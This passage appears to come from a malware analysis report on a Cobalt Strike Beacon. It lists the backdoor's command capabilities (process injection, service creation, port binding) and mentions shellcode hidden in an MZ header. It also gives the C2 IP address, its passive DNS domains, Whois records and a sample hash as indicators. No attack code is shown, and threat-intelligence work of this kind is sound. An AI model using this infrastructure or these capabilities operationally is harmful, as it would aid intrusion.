Lists files in a folder
Enable system privileges
Kills the specified process
Show running processes
Binds the specified port on the victim’s system
Disconnect from a named pipe
Process injection
Service creation
–End commands–
Screenshots

Figure 2 – The screenshot of the shellcode embedded in the MZ header.
207.148.76.235
Ports
Whois
Recent Passive DNS Resolutions
wordpress-499253-1580367.cloudwaysapps.com
207.148.76.235
kejhnaxoi.alosmart.in
207.148.76.235
chanlycuocsong.com
207.148.76.235
291bc2ac-bd67-11e9-bd1f-d89d67231d10.vuhongminh.com
207.148.76.235
update.vuhongminh.com
207.148.76.235
IP Location
Country: Singapore
Region: Central Singapore
City: Singapore
ISP: Sgp_vultr_cust
Whois Server
whois.apnic.net
Whois Record
% Abuse contact for ‘207.148.64.0 – 207.148.79.255’ is ‘abuse@choopa.com’
inetnum: 207.148.64.0 – 207.148.79.255
netname: SGP_VULTR_CUST
descr: SGP_VULTR_CUST
country: SG
admin-c: CLA15-AP
tech-c: CLA15-AP
abuse-c: AC1765-AP
status: ASSIGNED NON-PORTABLE
mnt-by: MAINT-CHOOPALLC-AP
mnt-irt: IRT-CHOOPALLC-AP
last-modified: 2021-02-09T13:52:42Z
source: APNIC
irt: IRT-CHOOPALLC-AP
address: 100 Matawan Rd, Matawan NJ 07747
e-mail: abuse@choopa.com
abuse-mailbox: abuse@choopa.com
admin-c: CLA15-AP
tech-c: CLA15-AP
auth: # Filtered
remarks: abuse@choopa.com was validated on 2022-04-14
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2022-04-14T13:11:20Z
source: APNIC
role: ABUSE CHOOPALLCAP
address: 100 Matawan Rd, Matawan NJ 07747
country: ZZ
phone: +000000000
e-mail: abuse@choopa.com
admin-c: CLA15-AP
tech-c: CLA15-AP
nic-hdl: AC1765-AP
remarks: Generated from irt object IRT-CHOOPALLC-AP
remarks: abuse@choopa.com was validated on 2022-04-14
abuse-mailbox: abuse@choopa.com
mnt-by: APNIC-ABUSE
last-modified: 2022-04-14T13:12:10Z
source: APNIC
role: Choopa LLC administrator
address: 319 Clematis St. Suite 900
country: US
phone: +1-973-849-0500
fax-no: +1-973-849-0500
e-mail: abuse@vultr.com
admin-c: CLA15-AP
tech-c: CLA15-AP
nic-hdl: CLA15-AP
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2022-07-19T11:35:13Z
source: APNIC
route: 207.148.64.0/20
origin: AS20473
descr: Choopa, LLC
14 Cliffwood Ave
Suite 300
mnt-by: MAINT-CHOOPALLC-AP
last-modified: 2020-04-21T14:39:46Z
source: APNIC
Relationships
| 207.148.76.235 |
Connected_From |
3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e |
Description
The C2 domain configured in the Cobalt Strike Beacon.
Recent Comments